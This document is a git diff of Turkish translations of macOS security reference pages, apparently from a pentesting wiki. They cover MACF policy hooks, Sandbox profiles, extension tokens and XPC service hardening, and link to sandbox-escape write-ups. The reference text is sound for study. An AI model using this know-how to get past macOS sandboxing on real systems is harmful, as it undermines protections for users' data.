Veritabanlarının yükünü çıkarmak için [**pyimg4**](https://github.com/m1stadev/PyIMG4) kullanabilirsiniz: Veritabanlarının yükleme bölümünü çıkarmak için [**pyimg4**](https://github.com/m1stadev/PyIMG4) kullanabilirsiniz:
```bash ```bash
# Installation # Installation
python3 -m pip install pyimg4 python3 -m pip install pyimg4
@ -152,11 +152,11 @@ Sonoma sürümünde, dikkat çekici bir nokta, daemon XPC hizmetinin **sorumlulu
- **XPC Hizmetini Başlatma**: Bir hata olarak varsayılırsa, bu yapılandırma, XPC hizmetini saldırgan kod aracılığıyla başlatmaya izin vermez. - **XPC Hizmetini Başlatma**: Bir hata olarak varsayılırsa, bu yapılandırma, XPC hizmetini saldırgan kod aracılığıyla başlatmaya izin vermez.
- **Aktif Bir Hizmete Bağlanma**: Eğer XPC hizmeti zaten çalışıyorsa (muhtemelen orijinal uygulaması tarafından etkinleştirilmişse), ona bağlanmak için hiçbir engel yoktur. - **Aktif Bir Hizmete Bağlanma**: Eğer XPC hizmeti zaten çalışıyorsa (muhtemelen orijinal uygulaması tarafından etkinleştirilmişse), ona bağlanmak için hiçbir engel yoktur.
XPC hizmetinde kısıtlamalar uygulamak, **potansiyel saldırılar için pencereyi daraltarak** faydalı olabilir, ancak temel endişeyi ele almaz. XPC hizmetinin güvenliğini sağlamak, esasen **bağlanan istemcinin etkili bir şekilde doğrulanmasını** gerektirir. Bu, hizmetin güvenliğini güçlendirmenin tek yoludur. Ayrıca, bahsedilen sorumluluk yapılandırmasının şu anda çalıştığını belirtmekte fayda var; bu, tasarlanan amaçla uyumlu olmayabilir. XPC hizmetinde kısıtlamalar uygulamak, **potansiyel saldırılar için pencereyi daraltarak** faydalı olabilir, ancak temel endişeyi ele almaz. XPC hizmetinin güvenliğini sağlamak, esasen **bağlanan istemcinin etkili bir şekilde doğrulanmasını** gerektirir. Bu, hizmetin güvenliğini güçlendirmenin tek yoludur. Ayrıca, bahsedilen sorumluluk yapılandırmasının şu anda çalıştığını belirtmek gerekir; bu, tasarlanan amaçla uyumlu olmayabilir.
### Electron Koruması ### Electron Koruması
Uygulamanın **LaunchService tarafından açılması gerektiği** gereksinimi olsa bile (ebeveyn kısıtlamalarında). Bu, **`open`** kullanılarak (çevre değişkenlerini ayarlayabilir) veya **Launch Services API** kullanılarak (çevre değişkenlerinin belirtilebileceği yer) gerçekleştirilebilir. Uygulamanın **LaunchService tarafından açılması gerektiği** gereksinimi olsa bile (ebeveyn kısıtlamalarında). Bu, **`open`** kullanılarak (çevre değişkenlerini ayarlayabilen) veya **Launch Services API** kullanılarak (çevre değişkenlerinin belirtilebileceği) gerçekleştirilebilir.
## Referanslar ## Referanslar

View File

@ -4,9 +4,9 @@
## Temel Bilgiler ## Temel Bilgiler
**MACF**, **Zorunlu Erişim Kontrol Çerçevesi** anlamına gelir ve bilgisayarınızı korumaya yardımcı olmak için işletim sistemine entegre edilmiş bir güvenlik sistemidir. Belirli sistem bölümlerine, dosyalara, uygulamalara ve sistem kaynaklarına kimlerin veya nelerin erişebileceği konusunda **katı kurallar belirleyerek** çalışır. Bu kuralları otomatik olarak uygulayarak, MACF yalnızca yetkili kullanıcıların ve süreçlerin belirli eylemleri gerçekleştirmesine izin verir, yetkisiz erişim veya kötü niyetli faaliyetler riskini azaltır. **MACF**, **Zorunlu Erişim Kontrol Çerçevesi** anlamına gelir ve bilgisayarınızı korumaya yardımcı olmak için işletim sistemine entegre edilmiş bir güvenlik sistemidir. Belirli sistem bölümlerine, dosyalara, uygulamalara ve sistem kaynaklarına kimlerin veya nelerin erişebileceği hakkında **katı kurallar belirleyerek** çalışır. Bu kuralları otomatik olarak uygulayarak, MACF yalnızca yetkili kullanıcıların ve süreçlerin belirli eylemleri gerçekleştirmesine izin verir, yetkisiz erişim veya kötü niyetli faaliyetler riskini azaltır.
MACF'nin gerçekten herhangi bir karar vermediğini, yalnızca eylemleri **yakaladığını** unutmayın; kararları çağırdığı **politika modüllerine** (kernel uzantıları) bırakır, bunlar arasında `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` ve `mcxalr.kext` bulunmaktadır. MACF'nin gerçekten herhangi bir karar vermediğini, yalnızca eylemleri **yakaladığını** unutmayın; kararları çağırdığı **politika modüllerine** (kernel uzantıları) bırakır, bunlar arasında `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` ve `mcxalr.kext` bulunur.
### Akış ### Akış
@ -17,18 +17,18 @@ MACF'nin gerçekten herhangi bir karar vermediğini, yalnızca eylemleri **yakal
5. MACF, ilgili politikaları çağırır 5. MACF, ilgili politikaları çağırır
6. Politikalar, eylemi izin verip vermeyeceklerini belirtir 6. Politikalar, eylemi izin verip vermeyeceklerini belirtir
> [!DİKKAT] > [!CAUTION]
> Apple, MAC Çerçevesi KPI'sini kullanabilen tek kişidir. > Apple, MAC Framework KPI'sini kullanabilen tek şirkettir.
### Etiketler ### Etiketler
MACF, ardından politikaların bazı erişim izni verip vermeyeceğini kontrol edeceği **etiketler** kullanır. Etiketlerin yapı tanımının kodu [burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h) bulunabilir; bu, **`struct ucred`** içinde [**burada**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) **`cr_label`** kısmında kullanılır. Etiket, **MACF politikalarının işaretçi ayırması için** kullanılabilecek bayraklar ve bir dizi **slot** içerir. Örneğin, Sanbox konteyner profilini işaret edecektir. MACF, ardından politikaların bazı erişim izni verip vermeyeceğini kontrol edeceği **etiketler** kullanır. Etiketlerin yapı tanımının kodu [burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h) bulunabilir; bu, **`struct ucred`** içinde [**burada**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) **`cr_label`** kısmında kullanılır. Etiket, **MACF politikalarının işaretçi ayırması** için kullanılabilecek bayraklar ve bir dizi **slot** içerir. Örneğin, Sanbox konteyner profilini işaret edecektir.
## MACF Politikaları ## MACF Politikaları
Bir MACF Politikası, belirli çekirdek işlemlerinde uygulanacak **kural ve koşulları** tanımlar.&#x20; Bir MACF Politikası, belirli çekirdek işlemlerinde uygulanacak **kural ve koşulları** tanımlar.&#x20;
Bir çekirdek uzantısı, bir `mac_policy_conf` yapısını yapılandırabilir ve ardından `mac_policy_register` çağrısını yaparak kaydedebilir. [Buradan](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): Bir çekirdek uzantısı, `mac_policy_conf` yapısını yapılandırabilir ve ardından `mac_policy_register` çağrısını yaparak kaydedebilir. [Buradan](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c ```c
#define mpc_t struct mac_policy_conf * #define mpc_t struct mac_policy_conf *
@ -69,7 +69,7 @@ Kernel uzantılarını bu politikaları yapılandırırken `mac_policy_register`
MACF politikalarının **dinamik** olarak kaydedilebileceğini ve kaydının kaldırılabileceğini unutmayın. MACF politikalarının **dinamik** olarak kaydedilebileceğini ve kaydının kaldırılabileceğini unutmayın.
`mac_policy_conf`'nin ana alanlarından biri **`mpc_ops`**'dir. Bu alan, politikanın ilgilendiği işlemleri belirtir. Bunların yüzlercesi olduğunu unutmayın, bu nedenle hepsini sıfırlamak ve ardından politikanın ilgilendiği sadece belirli olanları seçmek mümkündür. [Buradan](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): `mac_policy_conf` yapısının ana alanlarından biri **`mpc_ops`**'dir. Bu alan, politikanın ilgilendiği işlemleri belirtir. Bunların yüzlercesi olduğunu unutmayın, bu nedenle hepsini sıfırlamak ve ardından politikanın ilgilendiği sadece belirli olanları seçmek mümkündür. [Buradan](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c ```c
struct mac_policy_ops { struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect; mpo_audit_check_postselect_t *mpo_audit_check_postselect;
@ -84,16 +84,16 @@ mpo_cred_check_label_update_t *mpo_cred_check_label_update;
``` ```
Neredeyse tüm hook'lar, bu işlemlerden biri engellendiğinde MACF tarafından geri çağrılacaktır. Ancak, **`mpo_policy_*`** hook'ları bir istisnadır çünkü `mpo_hook_policy_init()` kayıt sırasında çağrılan bir geri çağırmadır (yani `mac_policy_register()` sonrasında) ve `mpo_hook_policy_initbsd()` BSD alt sistemi düzgün bir şekilde başlatıldığında geç kayıt sırasında çağrılır. Neredeyse tüm hook'lar, bu işlemlerden biri engellendiğinde MACF tarafından geri çağrılacaktır. Ancak, **`mpo_policy_*`** hook'ları bir istisnadır çünkü `mpo_hook_policy_init()` kayıt sırasında çağrılan bir geri çağırmadır (yani `mac_policy_register()` sonrasında) ve `mpo_hook_policy_initbsd()` BSD alt sistemi düzgün bir şekilde başlatıldığında geç kayıt sırasında çağrılır.
Ayrıca, **`mpo_policy_syscall`** hook'u, özel bir **ioctl** tarzı çağrı **arayüzü** sunmak için herhangi bir kext tarafından kaydedilebilir. Ardından, bir kullanıcı istemcisi, **politika adı** olarak bir tamsayı **kodu** ve isteğe bağlı **argümanlar** belirterek `mac_syscall` (#381) çağrısı yapabilecektir.\ Ayrıca, **`mpo_policy_syscall`** hook'u, özel bir **ioctl** tarzı çağrı **arayüzü** sunmak için herhangi bir kext tarafından kaydedilebilir. Ardından, bir kullanıcı istemcisi, **politika adı** ile bir tamsayı **kodunu** ve isteğe bağlı **argümanları** belirterek `mac_syscall` (#381) çağrısı yapabilecektir.\
Örneğin, **`Sandbox.kext`** bunu sıkça kullanır. Örneğin, **`Sandbox.kext`** bunu sıkça kullanır.
Kext'in **`__DATA.__const*`** kontrol edilerek, politikanın kaydedilmesi sırasında kullanılan `mac_policy_ops` yapısı tanımlanabilir. Bunu bulmak mümkündür çünkü işaretçisi `mpo_policy_conf` içinde bir ofsettedir ve ayrıca o alanda bulunacak NULL işaretçi sayısı nedeniyle. Kext'in **`__DATA.__const*`** kontrol edilerek, politikanın kaydedilmesi sırasında kullanılan `mac_policy_ops` yapısını tanımlamak mümkündür. Bunu bulmak mümkündür çünkü işaretçisi `mpo_policy_conf` içinde bir ofsettedir ve ayrıca o alanda bulunacak NULL işaretçilerin sayısı nedeniyle.
Ayrıca, her kaydedilen politika ile güncellenen **`_mac_policy_list`** yapısını bellekten dökerek bir politikayı yapılandırmış kext'lerin listesini almak da mümkündür. Ayrıca, her kaydedilen politika ile güncellenen **`_mac_policy_list`** yapısını bellekten dökerek bir politikayı yapılandırmış kext'lerin listesini almak da mümkündür.
## MACF Başlatma ## MACF Başlatma
MACF çok kısa bir süre içinde başlatılır. XNU'nun `bootstrap_thread`'inde ayarlanır: `ipc_bootstrap`'tan sonra `mac_policy_init()` çağrısı yapılır, bu da `mac_policy_list`'i başlatır ve kısa bir süre sonra `mac_policy_initmach()` çağrılır. Bu işlev, `Info.plist`'lerinde `AppleSecurityExtension` anahtarına sahip tüm Apple kext'lerini alır, örneğin `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` ve `TMSafetyNet.kext` ve bunları yükler. MACF çok kısa bir süre içinde başlatılır. XNU'nun `bootstrap_thread`'inde ayarlanır: `ipc_bootstrap` sonrasında `mac_policy_init()` çağrısı yapılır, bu da `mac_policy_list`'i başlatır ve kısa bir süre sonra `mac_policy_initmach()` çağrılır. Bu işlev, `Info.plist` dosyalarında `AppleSecurityExtension` anahtarına sahip tüm Apple kext'lerini alır; bunlar arasında `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` ve `TMSafetyNet.kext` bulunur ve bunları yükler.
## MACF Çağrıları ## MACF Çağrıları
@ -157,7 +157,7 @@ error = mac_error_select(__step_err, error); \
}); \ }); \
} while (0) } while (0)
``` ```
Tüm kayıtlı mac politikalarını çağırarak ve çıktıyı hata değişkeninde saklayarak gidecek, bu değişken yalnızca başarı kodları ile `mac_error_select` tarafından geçersiz kılınabilir, bu nedenle herhangi bir kontrol başarısız olursa, tam kontrol başarısız olacak ve eyleme izin verilmeyecektir. Tüm kayıtlı mac politikalarını çağırarak ve çıktıyı hata değişkeninde saklayarak geçecektir; bu değişken yalnızca başarı kodları ile `mac_error_select` tarafından geçersiz kılınabilir, bu nedenle herhangi bir kontrol başarısız olursa, tüm kontrol başarısız olacak ve işlem izin verilmeyecektir.
> [!TIP] > [!TIP]
> Ancak, tüm MACF çağrılarının yalnızca eylemleri reddetmek için kullanılmadığını unutmayın. Örneğin, `mac_priv_grant`, herhangi bir politika 0 ile yanıt verirse istenen ayrıcalığı verecek olan [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274) makrosunu çağırır: > Ancak, tüm MACF çağrılarının yalnızca eylemleri reddetmek için kullanılmadığını unutmayın. Örneğin, `mac_priv_grant`, herhangi bir politika 0 ile yanıt verirse istenen ayrıcalığı verecek olan [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274) makrosunu çağırır:
@ -188,7 +188,7 @@ Tüm kayıtlı mac politikalarını çağırarak ve çıktıyı hata değişkeni
### priv_check & priv_grant ### priv_check & priv_grant
Bu çağrılar, [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h) dosyasında tanımlanan (onlarca) **ayrıcalığı** kontrol etmek ve sağlamak için tasarlanmıştır.\ Bu çağrılar, [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h) dosyasında tanımlanan (onlarca) **ayrıcalığı** kontrol etmek ve sağlamak için tasarlanmıştır.\
Bazı çekirdek kodları, `priv_check_cred()`'i [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c) dosyasından çağırarak, sürecin KAuth kimlik bilgileri ve ayrıcalık kodlarından birini kullanarak `mac_priv_check` çağrısını yapar ve herhangi bir politikanın ayrıcalığı vermeyi **reddedip** reddetmediğini kontrol eder, ardından `mac_priv_grant` çağrısını yaparak herhangi bir politikanın `ayrıcalığı` verip vermediğini kontrol eder. Bazı çekirdek kodları, `priv_check_cred()`'i [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c) dosyasından çağırarak işlemin KAuth kimlik bilgileri ile birlikte bir ayrıcalık kodunu çağıracak ve ardından `mac_priv_check` çağrılarak herhangi bir politikanın ayrıcalığı vermeyi **reddedip** reddetmediği kontrol edilecek ve ardından `mac_priv_grant` çağrılarak herhangi bir politikanın `ayrıcalığı` verip vermediği kontrol edilecektir.
### proc_check_syscall_unix ### proc_check_syscall_unix
@ -203,7 +203,7 @@ goto skip_syscall;
} }
#endif /* CONFIG_MACF */ #endif /* CONFIG_MACF */
``` ```
Hangi çağrılan süreçte **bitmask** kontrol edilecektir, böylece mevcut syscall `mac_proc_check_syscall_unix` çağrılmalıdır. Bunun nedeni, syscalls'ın çok sık çağrılmasıdır, bu nedenle her seferinde `mac_proc_check_syscall_unix` çağrısını önlemek ilginçtir. Hangi çağıran süreçte **bitmask** kontrol edilecektir, böylece mevcut syscall `mac_proc_check_syscall_unix` çağrılmalıdır. Bunun nedeni, syscalls'ın çok sık çağrılmasıdır, bu nedenle her seferinde `mac_proc_check_syscall_unix` çağrısını önlemek ilginçtir.
`proc_set_syscall_filter_mask()` fonksiyonunun, bir süreçte bitmask syscalls'ı ayarlamak için Sandbox tarafından çağrıldığını unutmayın; bu, sandboxed süreçlerde maskeleri ayarlamak içindir. `proc_set_syscall_filter_mask()` fonksiyonunun, bir süreçte bitmask syscalls'ı ayarlamak için Sandbox tarafından çağrıldığını unutmayın; bu, sandboxed süreçlerde maskeleri ayarlamak içindir.

View File

@ -8,7 +8,7 @@ MacOS Sandbox (ilk olarak Seatbelt olarak adlandırılmıştır) **sandbox için
**`com.apple.security.app-sandbox`** **yetkisine** sahip herhangi bir uygulama sandbox içinde çalıştırılacaktır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store'dan gelen tüm uygulamalar bu yetkiye sahiptir**. Bu nedenle, birçok uygulama sandbox içinde çalıştırılacaktır. **`com.apple.security.app-sandbox`** **yetkisine** sahip herhangi bir uygulama sandbox içinde çalıştırılacaktır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store'dan gelen tüm uygulamalar bu yetkiye sahiptir**. Bu nedenle, birçok uygulama sandbox içinde çalıştırılacaktır.
Bir sürecin ne yapabileceğini veya ne yapamayacağını kontrol etmek için **Sandbox,** bir sürecin denemesi olası olan hemen hemen her işlemde (çoğu syscalls dahil) **MACF** kullanarak **kancalara** sahiptir. Ancak, uygulamanın **yetkilerine** bağlı olarak Sandbox, süreçle daha hoşgörülü olabilir. Bir sürecin ne yapabileceğini veya ne yapamayacağını kontrol etmek için **Sandbox, bir sürecin denemesi olası olan hemen hemen her işlemde** **MACF** kullanarak **kancalara** sahiptir. Ancak, uygulamanın **yetkilerine** bağlı olarak Sandbox, süreçle daha hoşgörülü olabilir.
Sandbox'ın bazı önemli bileşenleri şunlardır: Sandbox'ın bazı önemli bileşenleri şunlardır:
@ -19,7 +19,7 @@ Sandbox'ın bazı önemli bileşenleri şunlardır:
### Kapsayıcılar ### Kapsayıcılar
Her sandboxed uygulamanın `~/Library/Containers/{CFBundleIdentifier}` içinde kendi kapsayıcısı olacaktır: Her sandbox'lanmış uygulamanın `~/Library/Containers/{CFBundleIdentifier}` içinde kendi kapsayıcısı olacaktır:
```bash ```bash
ls -l ~/Library/Containers ls -l ~/Library/Containers
total 0 total 0
@ -135,7 +135,7 @@ Burada bir örnek bulabilirsiniz:
> >
> Bir profilin derlenmiş versiyonunda, işlemlerin adları, dylib ve kext tarafından bilinen bir dizideki girişleriyle değiştirilir, bu da derlenmiş versiyonu daha kısa ve okunması daha zor hale getirir. > Bir profilin derlenmiş versiyonunda, işlemlerin adları, dylib ve kext tarafından bilinen bir dizideki girişleriyle değiştirilir, bu da derlenmiş versiyonu daha kısa ve okunması daha zor hale getirir.
Önemli **sistem hizmetleri** ayrıca `mdnsresponder` hizmeti gibi kendi özel **sandbox**'larında çalışır. Bu özel **sandbox profillerini** şu konumda görüntüleyebilirsiniz: Önemli **sistem hizmetleri** ayrıca `mdnsresponder` hizmeti gibi kendi özel **sandbox**'larında çalışır. Bu özel **sandbox profillerini** şu dizinlerde görebilirsiniz:
- **`/usr/share/sandbox`** - **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`** - **`/System/Library/Sandbox/Profiles`**
@ -143,13 +143,13 @@ Burada bir örnek bulabilirsiniz:
**App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** **profilini** kullanır. Bu profilde **`com.apple.security.network.server`** gibi yetkilendirmelerin bir sürecin ağı kullanmasına nasıl izin verdiğini kontrol edebilirsiniz. **App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** **profilini** kullanır. Bu profilde **`com.apple.security.network.server`** gibi yetkilendirmelerin bir sürecin ağı kullanmasına nasıl izin verdiğini kontrol edebilirsiniz.
Daha sonra, bazı **Apple daemon hizmetleri** `/System/Library/Sandbox/Profiles/*.sb` veya `/usr/share/sandbox/*.sb` konumunda bulunan farklı profilleri kullanır. Bu sandbox'lar, `sandbox_init_XXX` API'sini çağıran ana işlevde uygulanır. Daha sonra, bazı **Apple daemon hizmetleri** `/System/Library/Sandbox/Profiles/*.sb` veya `/usr/share/sandbox/*.sb` dizinlerinde bulunan farklı profilleri kullanır. Bu sandbox'lar, `sandbox_init_XXX` API'sini çağıran ana işlevde uygulanır.
**SIP**, `/System/Library/Sandbox/rootless.conf` içinde platform_profile olarak adlandırılan bir Sandbox profilidir. **SIP**, `/System/Library/Sandbox/rootless.conf` içinde platform_profile olarak adlandırılan bir Sandbox profilidir.
### Sandbox Profil Örnekleri ### Sandbox Profil Örnekleri
Bir uygulamayı **belirli bir sandbox profili** ile başlatmak için şunu kullanabilirsiniz: Belirli bir **sandbox profili** ile bir uygulamayı başlatmak için şunu kullanabilirsiniz:
```bash ```bash
sandbox-exec -f example.sb /Path/To/The/Application sandbox-exec -f example.sb /Path/To/The/Application
``` ```
@ -200,18 +200,18 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtabs}} {{#endtabs}}
> [!NOTE] > [!NOTE]
> **Apple tarafından yazılmış** **yazılımın** **Windows** üzerinde **ek güvenlik önlemleri** bulunmadığını, örneğin uygulama sandboxing olmadığını unutmayın. > **Apple tarafından yazılmış** **yazılım** **Windows** üzerinde **ek güvenlik önlemlerine** sahip değildir, örneğin uygulama sandboxing.
Atlatma örnekleri: Atlatma örnekleri:
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) - [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sandbox dışında `~$` ile başlayan dosyalar yazabiliyorlar). - [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sandbox dışına `~$` ile başlayan dosyalar yazabiliyorlar).
### Sandbox İzleme ### Sandbox İzleme
#### Profil aracılığıyla #### Profil aracılığıyla
Her seferinde bir eylem kontrol edildiğinde sandbox'ın gerçekleştirdiği tüm kontrolleri izlemek mümkündür. Bunun için sadece aşağıdaki profili oluşturun: Her eylem kontrol edildiğinde sandbox'ın gerçekleştirdiği tüm kontrolleri izlemek mümkündür. Bunun için sadece aşağıdaki profili oluşturun:
```scheme:trace.sb ```scheme:trace.sb
(version 1) (version 1)
(trace /tmp/trace.out) (trace /tmp/trace.out)
@ -231,13 +231,13 @@ Ayrıca, `sandbox_vtrace_enable()` çağrılarak benzer bir şey yapmak ve ardı
### Sandbox İncelemesi ### Sandbox İncelemesi
`libsandbox.dylib`, bir sürecin sandbox durumunun (uzantılar dahil) bir listesini veren sandbox_inspect_pid adlı bir fonksiyonu dışa aktarır. Ancak, yalnızca platform ikili dosyaları bu fonksiyonu kullanabilir. `libsandbox.dylib`, bir işlemin sandbox durumunun (uzantılar dahil) bir listesini veren sandbox_inspect_pid adlı bir fonksiyon dışa aktarmaktadır. Ancak, yalnızca platform ikili dosyaları bu fonksiyonu kullanabilir.
### MacOS & iOS Sandbox Profilleri ### MacOS & iOS Sandbox Profilleri
MacOS, sistem sandbox profillerini iki konumda saklar: **/usr/share/sandbox/** ve **/System/Library/Sandbox/Profiles**. MacOS, sistem sandbox profillerini iki konumda saklar: **/usr/share/sandbox/** ve **/System/Library/Sandbox/Profiles**.
Ve eğer bir üçüncü taraf uygulaması _**com.apple.security.app-sandbox**_ yetkisini taşıyorsa, sistem bu sürece **/System/Library/Sandbox/Profiles/application.sb** profilini uygular. Ve eğer bir üçüncü taraf uygulaması _**com.apple.security.app-sandbox**_ yetkisini taşıyorsa, sistem bu işlemi **/System/Library/Sandbox/Profiles/application.sb** profili ile uygular.
iOS'ta, varsayılan profil **container** olarak adlandırılır ve SBPL metin temsiline sahip değiliz. Bellekte, bu sandbox, sandbox'tan her izin için Allow/Deny ikili ağacı olarak temsil edilir. iOS'ta, varsayılan profil **container** olarak adlandırılır ve SBPL metin temsiline sahip değiliz. Bellekte, bu sandbox, sandbox'tan her izin için Allow/Deny ikili ağacı olarak temsil edilir.
@ -265,9 +265,9 @@ Ayrıca, bir süreci bir konteyner içinde sınırlamak için `sandbox_spawnattr
## Sandbox'ı Hata Ayıklama ve Aşma ## Sandbox'ı Hata Ayıklama ve Aşma
macOS'ta, süreçler başlangıçta çekirdek tarafından sandbox'lanmadığı için, **süreçlerin kendilerinin sandbox'a katılması gerekir**. Bu, macOS'ta bir sürecin, aktif olarak girmeye karar vermediği sürece sandbox tarafından kısıtlanmadığı anlamına gelir, ancak App Store uygulamaları her zaman sandbox'lanmıştır. macOS'ta, süreçlerin başlangıçta çekirdek tarafından sandbox'a alındığı iOS'un aksine, **süreçlerin kendilerinin sandbox'a katılması gerekir**. Bu, macOS'ta bir sürecin, aktif olarak girmeye karar vermediği sürece sandbox tarafından kısıtlanmadığı anlamına gelir, ancak App Store uygulamaları her zaman sandbox'a alınır.
Süreçler, `com.apple.security.app-sandbox` yetkisine sahip olduklarında kullanıcı alanından otomatik olarak Sandbox'lanır. Bu sürecin ayrıntılııklaması için kontrol edin: Süreçler, `com.apple.security.app-sandbox` yetkisine sahip olduklarında kullanıcı alanından otomatik olarak Sandbox'a alınır. Bu sürecin ayrıntılııklaması için kontrol edin:
{{#ref}} {{#ref}}
macos-sandbox-debug-and-bypass/ macos-sandbox-debug-and-bypass/
@ -288,9 +288,9 @@ Uzantılar, bir nesneye daha fazla ayrıcalık vermeye olanak tanır ve aşağı
Uzantılar, süreç kimlik bilgileri üzerinden erişilebilen ikinci MACF etiket slotunda saklanır. Aşağıdaki **`sbtool`** bu bilgilere erişebilir. Uzantılar, süreç kimlik bilgileri üzerinden erişilebilen ikinci MACF etiket slotunda saklanır. Aşağıdaki **`sbtool`** bu bilgilere erişebilir.
Uzantıların genellikle izin verilen süreçler tarafından verildiğini unutmayın; örneğin, `tccd`, bir sürecin fotoğraflara erişmeye çalıştığında ve bir XPC mesajında izin verildiğinde `com.apple.tcc.kTCCServicePhotos` uzantı token'ını verecektir. Ardından, sürecin uzantı token'ını tüketmesi gerekecek, böylece ona eklenir.\ Uzantıların genellikle izin verilen süreçler tarafından verildiğini unutmayın; örneğin, `tccd`, bir sürecin fotoğraflara erişmeye çalıştığında ve bir XPC mesajında izin verildiğinde `com.apple.tcc.kTCCServicePhotos` uzantı token'ını verecektir. Ardından, sürecin uzantı token'ını tüketmesi gerekecek, böylece ona eklenir.\
Uzantı token'larının, verilen izinleri kodlayan uzun onaltılı sayılar olduğunu unutmayın. Ancak, izin verilen PID'yi sabit kodlamazlar, bu da token'a erişimi olan herhangi bir sürecin **birden fazla süreç tarafından tüketilebileceği** anlamına gelir. Uzantı token'larının, verilen izinleri kodlayan uzun onaltılı sayılar olduğunu unutmayın. Ancak, izin verilen PID'nin sabit kodlu olmadığını belirtmek gerekir; bu, token'a erişimi olan herhangi bir sürecin **birden fazla süreç tarafından tüketilebileceği** anlamına gelir.
Uzantıların, yetkilerle de çok ilgili olduğunu unutmayın, bu nedenle belirli yetkilere sahip olmak, belirli uzantıları otomatik olarak verebilir. Uzantıların, yetkilerle de çok ilgili olduğunu unutmayın; bu nedenle belirli yetkilere sahip olmak, belirli uzantıları otomatik olarak verebilir.
### **PID Ayrıcalıklarını Kontrol Etme** ### **PID Ayrıcalıklarını Kontrol Etme**
@ -307,7 +307,7 @@ sbtool <pid> all
Sandbox'ı `libsystem_sandbox.dylib` içindeki `sandbox_suspend` ve `sandbox_unsuspend` fonksiyonları kullanarak askıya almak ve askıdan kaldırmak da mümkündür. Sandbox'ı `libsystem_sandbox.dylib` içindeki `sandbox_suspend` ve `sandbox_unsuspend` fonksiyonları kullanarak askıya almak ve askıdan kaldırmak da mümkündür.
Askıya alma fonksiyonunu çağırmak için bazı yetkilendirmelerin kontrol edildiğini unutmayın: Askıya alma fonksiyonunu çağırmak için bazı yetkilendirmelerin kontrol edildiğini unutmayın, bu da çağıranın onu çağırmasına izin vermek içindir:
- com.apple.private.security.sandbox-manager - com.apple.private.security.sandbox-manager
- com.apple.security.print - com.apple.security.print
@ -317,7 +317,7 @@ Askıya alma fonksiyonunu çağırmak için bazı yetkilendirmelerin kontrol edi
Bu sistem çağrısı (#381), çalıştırılacak modülü belirten birinci argüman olarak bir dize bekler ve ardından çalıştırılacak fonksiyonu belirten bir kodu ikinci argüman olarak alır. Üçüncü argüman ise yürütülen fonksiyona bağlı olacaktır. Bu sistem çağrısı (#381), çalıştırılacak modülü belirten birinci argüman olarak bir dize bekler ve ardından çalıştırılacak fonksiyonu belirten bir kodu ikinci argüman olarak alır. Üçüncü argüman ise yürütülen fonksiyona bağlı olacaktır.
`___sandbox_ms` çağrısı, birinci argüman olarak `"Sandbox"` belirterek `mac_syscall`'ı sarmalar; tıpkı `___sandbox_msp`'nin `mac_set_proc`n (#387) bir sarmalayıcı olması gibi. Ardından, `___sandbox_ms` tarafından desteklenen bazı kodlar bu tabloda bulunabilir: `___sandbox_ms` çağrısı, birinci argümanda `"Sandbox"` belirterek `mac_syscall`'ı sarmalar, tıpkı `___sandbox_msp`'nin `mac_set_proc`'un (#387) bir sarmalayıcı olması gibi. Ardından, `___sandbox_ms` tarafından desteklenen bazı kodlar bu tabloda bulunabilir:
- **set_profile (#0)**: Bir işleme derlenmiş veya adlandırılmış bir profil uygular. - **set_profile (#0)**: Bir işleme derlenmiş veya adlandırılmış bir profil uygular.
- **platform_policy (#1)**: Platforma özgü politika kontrollerini zorlar (macOS ve iOS arasında değişir). - **platform_policy (#1)**: Platforma özgü politika kontrollerini zorlar (macOS ve iOS arasında değişir).
